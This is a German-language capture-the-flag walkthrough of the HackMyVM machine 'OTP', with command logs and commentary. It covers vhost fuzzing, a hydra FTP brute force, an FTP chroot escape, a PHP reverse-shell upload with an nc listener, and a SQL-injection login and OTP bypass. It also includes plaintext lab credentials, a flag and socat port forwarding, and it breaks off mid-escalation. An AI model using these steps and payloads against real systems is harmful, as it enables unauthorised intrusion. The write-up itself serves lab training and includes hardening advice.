OTP - HackMyVM - Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
fping
dirsearch
wfuzz
cat
vi (implizit)
Browser (implizit)
hydra
ftp
grep
nc (netcat)
python3
stty
dcode.fr (external tool)
emn178.github.io (external tool)
su
passwd
ls
sudo
socat
curl
base64
ffuf
id

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~/HackingTools] └─# arp-scan -l
192.168.2.133	54:6c:eb:05:3c:32	PCS Systemtechnik GmbH

Analyse:** Der Befehl `arp-scan -l` wird ausgeführt, um das lokale Netzwerksegment mittels ARP-Anfragen nach aktiven Geräten zu durchsuchen.

**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.133` wird identifiziert. Die MAC-Adresse deutet auf eine VirtualBox-VM hin.

**Empfehlung (Pentester):** Ziel-IP `192.168.2.133` notieren und Nmap-Scan durchführen.
**Empfehlung (Admin):** Standard-Netzwerkaufklärung. Fokus auf Dienstabsicherung.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.133 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-12 10:31 CEST
Nmap scan report for opp.vm (192.168.2.133)
Host is up (0.0074s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? <-- SMB
2701/tcp  open  cmrcservice   Microsoft Configuration Manager Remote Control service (CmRcService.exe) <-- SCCM Remote Control
5938/tcp  open  teamviewer? <-- TeamViewer?
21112/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title (text/plain).
49672/tcp open  msrpc         Microsoft Windows RPC
61116/tcp open  unknown
| fingerprint-strings:
[...]
|_    Server: Hosted Agent HTTP Server <-- Unbekannter HTTP-Server

[...] (Fingerprint & OS Guessing - deutet stark auf Windows hin)

Host script results:
| smb2-time:
|   date: 2022-10-12T08:34:21
|_  start_date: N/A
|_nbstat: NetBIOS name: HTSG-3B13VQ3, NetBIOS user: , NetBIOS MAC: 54:6c:eb:05:3c:32 (unknown)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required

TRACEROUTE
HOP RTT     ADDRESS
1   7.36 ms opp.vm (192.168.2.133)

**Analyse:** Ein umfassender Nmap-Scan wird auf `192.168.2.133` durchgeführt (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`).

**Bewertung:** Der Scan enthüllt eine Reihe von offenen Ports, die stark auf ein **Windows-System** hindeuten: * **135, 139, 445:** Standardports für MSRPC, NetBIOS und SMB. SMB ist ein Hauptangriffsvektor in Windows-Umgebungen. * **2701:** Microsoft Configuration Manager Remote Control Service (SCCM). * **5938:** Möglicherweise TeamViewer. * **21112:** Microsoft HTTPAPI-basierter Webserver (oft für Gerätedienste oder UPnP). * **49672:** Weiterer MSRPC-Port. * **61116:** Ein unbekannter Dienst, der sich als "Hosted Agent HTTP Server" ausgibt und einen 401 Unauthorized zurückgibt. Die OS-Erkennung und SMB-Informationen bestätigen die Windows-Vermutung. Die große Anzahl gefilterter Ports könnte auf eine Firewall hindeuten.

**Empfehlung (Pentester):** 1. **SMB (Priorität 1):** Enumerieren Sie SMB intensiv: `smbclient -L //192.168.2.133`, `enum4linux-ng 192.168.2.133 -A`. Prüfen Sie auf Null Sessions und offene Shares. 2. **HTTP (Ports 21112, 61116):** Untersuchen Sie die Webdienste genauer (Verzeichnisse, bekannte Schwachstellen). Für Port 61116: Versuchen Sie Standard-Credentials für Basic Auth. 3. **SCCM/TeamViewer:** Recherchieren Sie nach bekannten Schwachstellen für diese Dienste. 4. **MSRPC:** Enumerieren Sie RPC-Endpunkte (`rpcclient`, `rpcdump`).
**Empfehlung (Admin):** Härten Sie die SMB-Konfiguration (Gastzugriff deaktivieren, Shares absichern, Signing erzwingen). Firewall nicht benötigte Ports (insbesondere RPC, SCCM, TeamViewer, wenn nicht extern benötigt). Patchen Sie das Windows-System und alle laufenden Dienste. Identifizieren und sichern Sie den Dienst auf Port 61116.

**Analyse der weiteren Logs:** Die nachfolgenden Logs zeigen, dass der Pentester die IP-Adresse wechselt und sich auf ein anderes Ziel (`192.168.2.144`) konzentriert. Der Nmap-Scan auf `.133` scheint eine Sackgasse gewesen zu sein oder das Ziel war falsch identifiziert.

**Bewertung:** Die Erkenntnisse aus dem Nmap-Scan auf `.133` sind für den weiteren Verlauf des Berichts nicht relevant, da das Ziel offensichtlich `.144` ist. Es ist wichtig, solche Diskrepanzen zu erkennen und sich auf das tatsächliche Ziel zu konzentrieren.

Web Enumeration & VHost Discovery

**Analyse:** Nachdem der Fokus auf `192.168.2.144` gelegt wurde, wird dessen Webserver auf Port 80 enumeriert, beginnend mit Directory Fuzzing und VHost Discovery.

**Bewertung:** Standardmäßige Vorgehensweise zur Untersuchung von Webservern.

┌──(root㉿cyber)-[~] └─# fping -ag 192.168.2.0/24 2>/dev/null
192.168.2.1
192.168.2.104
192.168.2.108
192.168.2.133 <-- Vorheriges Ziel -->
192.168.2.140 <-- Angreifer IP? -->
192.168.2.144 <-- Neues/Aktuelles Ziel -->
=

**Analyse:** Der Befehl `fping -ag` pingt alle Hosts im Subnetz `192.168.2.0/24` an und gibt die antwortenden IPs aus.

**Bewertung:** Bestätigt, dass sowohl das ursprüngliche Ziel (`.133`) als auch das neue Ziel (`.144`) und die Angreifer-IP (`.140`, Annahme) aktiv sind. Dies hilft, den Netzwerküberblick zu behalten.

**Empfehlung (Pentester):** Fokus auf `192.168.2.144`.
**Empfehlung (Admin):** Keine.

**Analyse:** Der Befehl `dirsearch` wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver `192.168.2.144` (Port 80) zu suchen.

**Bewertung:** Findet `/javascript` (Standard?) und `/server-status` (verboten). Keine signifikanten Funde auf der Hauptseite.

**Empfehlung (Pentester):** VHost-Enumeration versuchen, da die Hauptseite uninteressant wirkt.
**Empfehlung (Admin):** `/server-status` korrekt absichern.

┌──(root㉿cyber)-[~/HackingTools] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.otp.hmv' -u http://192.168.2.144/ --hh 11202
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000002658:   200        626 L    1468 W     25537 Ch    "argon"   <-- VHost gefunden! -->
[...]
=

**Analyse:** `wfuzz` wird für VHost-Enumeration auf `192.168.2.144` eingesetzt. Es verwendet eine Subdomain-Liste und manipuliert den `Host`-Header (`FUZZ.otp.hmv`). Antworten mit 11202 Zeichen (vermutlich die Größe der Standardseite) werden ignoriert (`--hh 11202`).

**Bewertung:** Erfolg! Ein virtueller Host `argon.otp.hmv` wird gefunden, der eine andere Antwortgröße (25537 Chars) liefert. Dies ist ein wichtiger Hinweis.

**Empfehlung (Pentester):** Fügen Sie `192.168.2.144 argon.otp.hmv` zur lokalen `/etc/hosts`-Datei hinzu. Untersuchen Sie `http://argon.otp.hmv` im Browser und mit Enumerationstools.
**Empfehlung (Admin):** Stellen Sie sicher, dass virtuelle Hosts korrekt konfiguriert sind.

┌──(root㉿cyber)-[~] └─# cat /etc/hosts
127.0.0.1	 localhost
127.0.1.1  	 cyber
192.168.2.144    otp.hmv argon.otp.hmv <-- Eintrag hinzugefügt -->
#

**Analyse:** Die lokale `/etc/hosts`-Datei wird angezeigt, sie enthält nun den Eintrag für `argon.otp.hmv`, der auf `192.168.2.144` zeigt.

**Bewertung:** Notwendiger Konfigurationsschritt, um auf den VHost per Namen zugreifen zu können.

Credential Discovery

**Analyse:** Untersuchung des gefundenen virtuellen Hosts `argon.otp.hmv`.

http://argon.otp.hmv

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
view-source:http://argon.otp.hmv/profile.html :::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
                                                           :::
   
::: ::: <-- Passwort im Kommentar! --> ::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Nach dem Besuch finden Sie einige Hinweise im Quellcode der Seite profile.html, Benutzer : otpuser Passwort : #4ck!ng!s!nMybl0od versuchen Sie sich anzumelden

**Analyse:** Der virtuelle Host `argon.otp.hmv` wird aufgerufen. Im Quellcode der Seite `profile.html` wird ein HTML-Kommentar gefunden, der ein Passwort enthält: `#4ck!ng!s!nMybl0od`. Eine Notiz im Log identifiziert `otpuser` als zugehörigen Benutzernamen.

**Bewertung:** Kritisches Informationsleck! Hartkodierte Zugangsdaten (`otpuser` / `#4ck!ng!s!nMybl0od`) wurden im HTML-Quellcode gefunden.

**Empfehlung (Pentester):** Versuchen Sie, sich mit diesen Credentials am Login-Formular der Webseite (`http://argon.otp.hmv`) oder an anderen Diensten (SSH, FTP) anzumelden.
**Empfehlung (Admin):** **Niemals Passwörter oder sensible Daten im clientseitigen Code (HTML, JS, CSS) speichern!** Entfernen Sie die Credentials sofort. Implementieren Sie sichere Authentifizierungsmethoden.

http://argon.otp.hmv/cr3d5_123.html

                    Hello david

**Analyse:** Eine weitere Seite (`cr3d5_123.html`) wird auf dem VHost gefunden (vermutlich durch Enumeration oder weil sie verlinkt war). Sie enthält den Text "Hello david".

**Bewertung:** Enthüllt einen weiteren potenziellen Benutzernamen: `david`.

**Empfehlung (Pentester):** Fügen Sie `david` zur Liste der potenziellen Benutzernamen hinzu. Versuchen Sie Brute-Force-Angriffe gegen FTP oder SSH für diesen Benutzer.
**Empfehlung (Admin):** Vermeiden Sie die Offenlegung von Benutzernamen auf Webseiten.

FTP Exploitation (Misconfiguration)

**Analyse:** Basierend auf dem gefundenen Benutzernamen `david` wird ein Brute-Force-Angriff gegen den FTP-Dienst gestartet. Anschließend wird die FTP-Verbindung genutzt, um Schwachstellen auszunutzen.

┌──(root㉿cyber)-[~] └─# hydra -l david -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.144
Hydra v9.3 [...] starting at 2022-10-12 11:13:23
[...]
[21][ftp] host: 192.168.2.144   login: david   password: DAVID [SUCCESS]

**Analyse:** Hydra wird verwendet, um das FTP-Passwort für den Benutzer `david` auf `192.168.2.144` zu bruteforcen.

**Bewertung:** Erfolg! Das extrem schwache Passwort `DAVID` wird gefunden.

**Empfehlung (Pentester):** Loggen Sie sich via FTP als `david`:`DAVID` ein.
**Empfehlung (Admin):** Starke Passwörter erzwingen. Fail2Ban für FTP.

┌──(root㉿cyber)-[~/HackingTools] └─# ftp 192.168.2.144
Connected to 192.168.2.144.
220 (vsFTPd 3.0.3)
Name (192.168.2.144:root): david
331 Please specify the password.
Password: DAVID
230 Login successful.
[...]
ftp> ls
-rw-r--r--    1 1001     1001          125 Nov 19  2021 important_note.txt
[...]
ftp> get important_note.txt
[...]
226 Transfer complete.

**Analyse:** Erfolgreicher FTP-Login als `david`:`DAVID`. Eine Datei `important_note.txt` wird gefunden und heruntergeladen.

**Bewertung:** FTP-Zugang als `david` bestätigt.

┌──(root㉿cyber)-[~/HackingTools] └─# cat important_note.txt
"Many times, the idea we come up with is not to fit
for the current times but if launched at the right
time can do wonders."
=

**Analyse:** Inhalt der heruntergeladenen Notiz.

**Bewertung:** Philosophischer Text, wahrscheinlich ohne technische Relevanz (Flavor Text).

ftp> cd ..
<-- Trick! -->
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||34573|)
150 Here comes the directory listing.
drwxr-xrwx    2 0        115          4096 Nov 22  2021 ftp
226 Directory send OK.
ftp> pwd
Remote directory: /srv
<-- Außerhalb des erwarteten Verzeichnisses! -->
ftp> cd /etc
250 Directory successfully changed.
ftp> get passwd
local: passwd remote: passwd
[...]
150 Opening BINARY mode data connection for passwd (1594 bytes).
[...]
226 Transfer complete.
1594 bytes received in 00:00 (6.69 MiB/s)
-------------------------------------------------------------------------------------

**Analyse:** Über die FTP-Verbindung wird versucht, mit `cd ..` eine Verzeichnisebene nach oben zu wechseln. Dies gelingt überraschenderweise, und `pwd` zeigt `/srv` als aktuelles Verzeichnis an, obwohl das Home-Verzeichnis für `david` wahrscheinlich `/srv/ftp` sein sollte. Anschließend wird erfolgreich nach `/etc` gewechselt und die `/etc/passwd`-Datei heruntergeladen.

**Bewertung:** Eine schwerwiegende Fehlkonfiguration des vsftpd-Servers! Der Benutzer `david` ist nicht in seinem Home-Verzeichnis eingesperrt (kein chroot jail). Dies ermöglicht LFI (Local File Inclusion) und das Herunterladen sensibler Systemdateien über FTP.

**Empfehlung (Pentester):** Nutzen Sie diese Schwachstelle, um weitere sensible Dateien herunterzuladen (`/etc/shadow`, Konfigurationsdateien, SSH-Schlüssel, Webserver-Dateien). Suchen Sie nach schreibbaren Verzeichnissen im Web-Root.
**Empfehlung (Admin):** **Konfigurieren Sie vsftpd dringend neu!** Aktivieren Sie `chroot_local_user=YES` in `vsftpd.conf`, um Benutzer in ihre Home-Verzeichnisse einzusperren. Überprüfen Sie die Berechtigungen.

┌──(root㉿cyber)-[~] └─# cat HackingTools/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
avijneyam:x:1000:1000:Avijneyam,,,:/home/avijneyam:/bin/bash
david:x:1001:1001::/srv/ftp:/bin/bash

**Analyse:** Die heruntergeladene `passwd`-Datei wird analysiert.

**Bewertung:** Bestätigt die Benutzer `root`, `avijneyam` und `david` mit `/bin/bash` als Shell. Das Home-Verzeichnis für `david` ist tatsächlich `/srv/ftp`.

ftp> cd /var/www/otp/argon
<-- Navigation zum Web-Root des VHosts -->
250 Directory successfully changed.
ftp> ls -la
[...]
drwxrwxrwx    2 0        1001         4096 Nov 23  2021 u9l04d_ <-- Schreibbares Verzeichnis! -->
226 Directory send K.

Im Verzeichnis /var/www/otp/argon wird festgestellt, dass das Verzeichnis
u9l04d_ über Lese- und Schreibberechtigungen verfügt. Laden Sie ein rev-Shell
in das Verzeichnis hoch und führen Sie es aus.
=

**Analyse:** Über die fehlkonfigurierte FTP-Verbindung wird zum Web-Root des `argon.otp.hmv`-VHosts (`/var/www/otp/argon`) navigiert. Dort wird ein Verzeichnis `u9l04d_` gefunden, das für alle Benutzer schreibbar ist (`drwxrwxrwx`).

**Bewertung:** Eine weitere kritische Fehlkonfiguration. Ein für alle schreibbares Verzeichnis innerhalb eines Web-Roots erlaubt es jedem (einschließlich des FTP-Benutzers `david` und des Webserver-Benutzers `www-data`), Dateien hochzuladen, die dann über HTTP ausgeführt werden können (z.B. PHP-Webshells).

**Empfehlung (Pentester):** Laden Sie eine PHP-Reverse-Shell (wie `image.php`) in das Verzeichnis `/var/www/otp/argon/u9l04d_` hoch. Rufen Sie sie dann über `http://argon.otp.hmv/u9l04d_/image.php` auf.
**Empfehlung (Admin):** Korrigieren Sie die Berechtigungen für das Verzeichnis `u9l04d_`. Verzeichnisse im Web-Root sollten niemals für alle schreibbar sein. Beheben Sie die FTP-chroot-Lücke.

ftp> cd /var/www/otp/argon/u9l04d_
250 Directory successfully changed.
ftp> put image.php
local: image.php remote: image.php
229 Entering Extended Passive Mode (|||59753|)
150 Ok to send data.
[...]
226 Transfer complete.
5495 bytes sent in 00:00 (2.12 MiB/s)
=

**Analyse:** Die PHP-Webshell `image.php` wird über FTP in das schreibbare Verzeichnis `/var/www/otp/argon/u9l04d_` hochgeladen.

**Bewertung:** Die Webshell ist nun auf dem Server platziert und über HTTP erreichbar.

**Empfehlung (Pentester):** Listener starten und Webshell aufrufen.
**Empfehlung (Admin):** Berechtigungen korrigieren, FTP härten.

Initial Access (Webshell via FTP)

**Analyse:** Ausführung der hochgeladenen Webshell, um eine Reverse Shell zu erhalten.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...

**Analyse:** Netcat-Listener wird auf Port 9001 gestartet.

**Bewertung:** Listener ist bereit.

http://argon.otp.hmv/u9l04d_/image.php
<-- URL der Webshell -->
*

**Analyse:** Notiz mit der URL zur hochgeladenen Webshell.

**Bewertung:** Zeigt die URL, die aufgerufen werden muss.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
<-- Fortsetzung Listener -->
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.144] 35204 <-- Verbindung erhalten! -->
Linux otp 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 GNU/Linux
[...]
uid=33(www-data) gid=33(www-data) groups=33(www-data) <-- Shell als www-data -->
/bin/sh: 0: can't access tty; job control turned off
$ 

**Analyse:** Der Listener empfängt die Verbindung, nachdem die Webshell-URL aufgerufen wurde. Eine einfache Shell als `www-data` wird erhalten.

**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die Kombination aus fehlkonfiguriertem FTP und schreibbarem Web-Verzeichnis.

**Empfehlung (Pentester):** Shell stabilisieren.
**Empfehlung (Admin):** Ursachen (FTP, Verzeichnisrechte) beheben.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@otp:/$ export TERM=xterm
export TERM=xterm
www-data@otp:/$ # Stabilisierung (stty etc. fehlen im Log, werden aber angenommen)

**Analyse:** Die Shell wird mit Python PTY Spawn stabilisiert.

**Bewertung:** Stabile Shell als `www-data` verfügbar.

**Empfehlung (Pentester):** Enumeration und Eskalation als `www-data`.
**Empfehlung (Admin):** Keine.

Privilege Escalation (www-data -> avijneyam via SQL Dump & SQLi)

**Analyse:** Als `www-data` wird das System weiter enumeriert, was zur Entdeckung eines SQL-Dumps und schließlich zu SQL-Injection-Schwachstellen führt.

www-data@otp:/$ cd /opt
www-data@otp:/opt$ ls -la
total 16
drwxr-xr-x  2 root     root     4096 Nov 23  2021 .
drwxr-xr-x 18 root     root     4096 Nov 17  2021 ..
-r--------  1 www-data www-data 2022 Nov 22  2021 creds.sql <-- Interessante Datei! -->
-r--------  1 www-data www-data   36 Nov 23  2021 note4david.txt
www-data@otp:/opt$ cat note4david.txt
Your work has done you can rest now

**Analyse:** Im Verzeichnis `/opt` werden zwei Dateien gefunden, die `www-data` gehören und nur vom Besitzer lesbar sind: `creds.sql` und `note4david.txt`. Die Notiz ist uninteressant.

**Bewertung:** Die Datei `creds.sql` ist hochverdächtig und enthält wahrscheinlich Zugangsdaten.

**Empfehlung (Pentester):** Lesen Sie den Inhalt von `creds.sql`. Da `www-data` der Besitzer ist, sollte dies möglich sein. Wenn nicht direkt lesbar, versuchen Sie, sie mit dem Python HTTP Server zu exfiltrieren.
**Empfehlung (Admin):** Beschränken Sie Berechtigungen im `/opt`-Verzeichnis. Speichern Sie keine SQL-Dumps mit Credentials an unsicheren Orten.

www-data@otp:/opt$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.140 - - [12/Oct/2022 06:28:04] "GET /creds.sql HTTP/1.1" 200 -
#
http://192.168.2.144:8000/creds.sql
<-- URL zum Download -->

**Analyse:** Ein Python HTTP Server wird im `/opt`-Verzeichnis gestartet, um die `creds.sql`-Datei für den Download durch den Angreifer (von `192.168.2.140`) bereitzustellen.

**Bewertung:** Erfolgreiche Exfiltration der SQL-Datei.

**Empfehlung (Pentester):** Analysieren Sie die heruntergeladene `creds.sql`.
**Empfehlung (Admin):** Überwachen Sie verdächtige Prozesse und ausgehende Verbindungen.


-- Dumping data for table `creds`
--

LOCK TABLES `creds` WRITE;
/*!40000 ALTER TABLE `creds` DISABLE KEYS */;
INSERT INTO `creds` VALUES (1,'','','NYZXMM3SI4YG43RUI4QXMM3ZGBKXKUAK'); <-- Base32 TOTP Seed? -->
/*!40000 ALTER TABLE `creds` ENABLE KEYS */;
UNLOCK TABLES;
*

https://www.dcode.fr/identification-chiffrement
Base32: NYZXMM3SI4YG43RUI4QXMM3ZGBKXKUAK

https://emn178.github.io/online-tools/base32_decode.html
decode: n3v3rG0nn4G!v3y0UuP

**Analyse:** Der relevante Teil der `creds.sql` wird gezeigt. Sie enthält einen `INSERT`-Befehl mit einem leeren Benutzernamen, einem leeren Passwort und einem langen String im `totp`-Feld (`NYZX...UAK`). Online-Tools identifizieren diesen String als Base32-kodiert und dekodieren ihn zu `n3v3rG0nn4G!v3y0UuP`.

**Bewertung:** Der SQL-Dump enthielt keinen direkten Benutzernamen/Passwort, aber einen Base32-kodierten String, der nach dem Dekodieren wie ein Passwort aussieht (`n3v3rG0nn4G!v3y0UuP`). Es handelt sich wahrscheinlich um das Passwort für den Benutzer `avijneyam`.

**Empfehlung (Pentester):** Versuchen Sie, sich als `avijneyam` mit dem Passwort `n3v3rG0nn4G!v3y0UuP` anzumelden (z.B. via `su` aus der `www-data`-Shell oder via SSH).
**Empfehlung (Admin):** Speichern Sie sensible Daten wie TOTP-Secrets oder Passwörter (auch kodiert) nicht in leicht zugänglichen SQL-Dumps.

www-data@otp:/opt$ cd /etc/apache2/sites-available
www-data@otp:/etc/apache2/sites-available$ cat totp.conf

	ServerName totp.otp.hmv
	DocumentRoot /var/www/otp/totp
	[...]
=

**Analyse:** Die Apache-Konfigurationsdatei `totp.conf` wird gefunden und gelesen.

**Bewertung:** Enthüllt einen weiteren virtuellen Host `totp.otp.hmv` mit dem Web-Root `/var/www/otp/totp`. Dies ist wahrscheinlich die Anwendung, zu der die `creds.sql`-Daten gehören.

**Empfehlung (Pentester):** Fügen Sie `totp.otp.hmv` zu `/etc/hosts` hinzu und untersuchen Sie `http://totp.otp.hmv`.
**Empfehlung (Admin):** Keine.

http://totp.otp.hmv

           _________________________
 Username [  ' or 1=1 -- -          ] <-- SQLi Bypass
          [_________________________]
 Password [   1                     ] <-- Beliebiges Passwort -->
          [_________________________]
         [ Login ]


  Erfolgreich umgangen, erneute Abfrage des 6-stelligen OTP
  http://totp.otp.hmv/otp.php


         _______________________

           Enter 6 Digits OTP
         ________________________________
        |                                |
        |         __________________     |
        |        | ' or 1=1 -- -    |    | <-- SQLi Bypass für OTP -->
        |        |__________________|    |
        |                                |
        |                                |
        |________________________________|

--------------------------------------------------------------------------------------------------------

http://totp.otp.hmv/cr3d54695.html <-- Seite nach Bypass -->

**Analyse:** Der virtuelle Host `totp.otp.hmv` wird aufgerufen. Er präsentiert ein Login-Formular. 1. Das erste Login (Username/Password) wird mit der SQL-Injection-Payload `' or 1=1 -- -` im Benutzernamenfeld und einem beliebigen Passwort (z.B. `1`) erfolgreich umgangen. 2. Dies führt zu einer zweiten Seite (`otp.php`), die einen 6-stelligen OTP-Code verlangt. 3. Auch diese OTP-Abfrage wird mit der gleichen SQL-Injection-Payload (`' or 1=1 -- -`) im OTP-Eingabefeld umgangen. 4. Nach dem erfolgreichen doppelten Bypass wird der Benutzer auf die Seite `cr3d54695.html` weitergeleitet.

**Bewertung:** Kritische SQL-Injection-Schwachstellen sowohl in der primären Authentifizierung als auch in der OTP-Verifizierung. Dies zeigt eine grundlegend unsichere Implementierung.

**Empfehlung (Pentester):** Rufen Sie `http://totp.otp.hmv/cr3d54695.html` auf, um die nach dem Bypass enthüllten Informationen zu sehen.
**Empfehlung (Admin):** **Beheben Sie die SQL-Injection-Schwachstellen sofort!** Verwenden Sie Prepared Statements für alle Datenbankabfragen. Validieren Sie OTP-Codes serverseitig mit kryptographisch sicheren Methoden, nicht durch einfache Datenbankabfragen.

Proof of Concept (SQL Injection)

**Kurzbeschreibung:** Die Webanwendung unter `http://totp.otp.hmv` weist zwei aufeinanderfolgende SQL-Injection-Schwachstellen auf. Sowohl das initiale Login-Formular (Benutzername/Passwort) als auch das nachfolgende OTP-Eingabeformular fügen Benutzereingaben unsicher in Datenbankabfragen ein. Ein Angreifer kann dies ausnutzen, indem er eine Payload wie `' or 1=1 -- -` in das Benutzername-Feld und anschließend in das OTP-Feld eingibt. Dies umgeht beide Authentifizierungsprüfungen und gewährt Zugriff auf eine geschützte Ressource (`cr3d54695.html`), die sensible Informationen enthält.

**Voraussetzungen:** Netzwerkzugriff auf den VHost `totp.otp.hmv`.

**Schritt-für-Schritt-Anleitung:**

  1. Aufrufen von `http://totp.otp.hmv`.
  2. Im ersten Login-Formular: Benutzername `' or 1=1 -- -`, Passwort beliebig (z.B. `1`). Absenden.
  3. Im zweiten OTP-Formular: OTP-Code `' or 1=1 -- -`. Absenden.
  4. Zugriff auf die resultierende Seite (z.B. `cr3d54695.html`).

**Erwartetes Ergebnis:** Erfolgreiche Umgehung der Authentifizierung und Zugriff auf die geschützte Seite.

**Beweismittel:** Die Beschreibung des Bypass-Vorgangs und der Inhalt der Folgeseite.

**Risikobewertung:** Hoch. Ermöglicht unautorisierten Zugriff auf geschützte Bereiche und Informationen durch Umgehung der Authentifizierung.

**Empfehlungen:** Beheben Sie die SQL-Injection-Schwachstellen durch Verwendung von Prepared Statements und korrekte serverseitige Validierung von Logins und OTP-Codes.

avijneyam:*___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:)
n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:)
n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:)

decode
*^
CelebritySoup <-- Kontext unklar -->
┌──(root㉿cyber)-[/home/cyber/Downloads] └─# curl http://totp.otp.hmv/cr3d54695.html --output cred.txt

den soucre code der webside in eine text einlesen, mit powershell formatieren:
oder ,mit bash |  sed -i 's/\\n/\n/g'  |

$text = cat C:\Users\test\fuck.txt
$text = $text.Replace("\n", "`n")

$text
passwort: n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:)
User    : avijneyam

**Analyse:** Die Seite `cr3d54695.html` wird heruntergeladen (`cred.txt`). Ihr Inhalt (nach Bereinigung von Zeilenumbrüchen `\n` oder `\\n`) enthält die Zugangsdaten für den Benutzer `avijneyam`: * User: `avijneyam` * Password: `n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:)` Der dekodierte Base32-String war nur der erste Teil des Passworts.

**Bewertung:** Die SQLi-Umgehung hat die korrekten Credentials für `avijneyam` preisgegeben.

**Empfehlung (Pentester):** Verwenden Sie `su avijneyam` mit dem gefundenen Passwort, um den Benutzer zu wechseln.
**Empfehlung (Admin):** Beheben Sie SQLi, entfernen Sie die Credential-Seite.

www-data@otp:/etc/apache2/sites-available$ su avijneyam
<-- Prompt inkonsistent -->
Password: n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_nly_4_y0u_:)
avijneyam@otp:/etc/apache2/sites-available$ # Erfolg!
avijneyam@otp:~$ passwd
Changing password for avijneyam.
Current password: ********
New password: ********
Retype new password: ********
passwd: password updated successfully
=

**Analyse:** Der `su`-Befehl wird verwendet, um von `www-data` zu `avijneyam` zu wechseln, wobei das lange, auf der HTML-Seite gefundene Passwort verwendet wird. Der Wechsel ist erfolgreich. Anschließend wird das Passwort für `avijneyam` geändert.

**Bewertung:** Erfolgreiche Eskalation von `www-data` zu `avijneyam`.

**Empfehlung (Pentester):** User-Flag lesen, `sudo -l` ausführen.
**Empfehlung (Admin):** Keine.

avijneyam@otp:~$ ls
flag_user.txt
avijneyam@otp:~$ cat flag_user.txt
2990aa5108d5803f3fdca99c277ba352
<-- User Flag -->
*

**Analyse:** Im Home-Verzeichnis von `avijneyam` wird die User-Flag (`flag_user.txt`) gefunden und ausgelesen.

**Bewertung:** User-Flag erfolgreich erhalten.

Privilege Escalation (avijneyam -> root via Flask RCE)

**Analyse:** Als `avijneyam` wird `sudo -l` ausgeführt, um nach Eskalationspfaden zu suchen.

avijneyam@otp:~$ sudo -l
[...]
User avijneyam may run the following commands on otp:
    (root) PASSWD: /bin/bash /root/localhost.sh
<-- Passwort benötigt! -->

**Analyse:** `sudo -l` zeigt, dass `avijneyam` das Skript `/root/localhost.sh` als `root` ausführen darf, aber **ein Passwort erforderlich** ist (`PASSWD:`). Das zuvor geänderte Passwort (`password123`) wird benötigt.

**Bewertung:** Ein möglicher Eskalationspfad, aber das Passwort ist erforderlich.

**Empfehlung (Pentester):** Führen Sie `sudo /bin/bash /root/localhost.sh` aus und geben Sie das neue Passwort (`password123`) ein.
**Empfehlung (Admin):** Überprüfen Sie die Notwendigkeit dieser Regel. Wenn ein Skript als Root ausgeführt werden muss, stellen Sie sicher, dass das Skript selbst sicher ist.

avijneyam@otp:~$ sudo /bin/bash /root/localhost.sh
[sudo] password for avijneyam: ******** (password123 eingegeben)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
^Z <-- In den Hintergrund geschoben -->
[1]+  Stopped                 sudo /bin/bash /root/localhost.sh

**Analyse:** Das Skript wird mit `sudo` ausgeführt, das Passwort wird eingegeben. Das Skript startet einen Python Flask Entwicklungsserver, der auf `127.0.0.1:5000` lauscht. Der Prozess wird mit Strg+Z in den Hintergrund geschoben.

**Bewertung:** Der Flask-Server läuft nun mit Root-Rechten auf einem lokalen Port.

**Empfehlung (Pentester):** Machen Sie den Dienst extern erreichbar (z.B. mit `socat` Port Forwarding) und untersuchen Sie ihn auf Schwachstellen.
**Empfehlung (Admin):** Vermeiden Sie das Ausführen von Webservern als Root.

avijneyam@otp:~$ socat tcp-listen:3333,fork tcp:127.0.0.1:5000 &
[2] 222022
avijneyam@otp:~$ fg 1
<-- Flask Server wieder in Vordergrund -->
sudo /bin/bash /root/localhost.sh

**Analyse:** `socat` wird verwendet, um einen Listener auf Port 3333 (alle Interfaces) zu starten, der eingehende Verbindungen an `127.0.0.1:5000` (den Flask-Server) weiterleitet. Der `socat`-Prozess wird in den Hintergrund geschickt (`&`), und der Flask-Server (`fg 1`) wird wieder in den Vordergrund geholt.

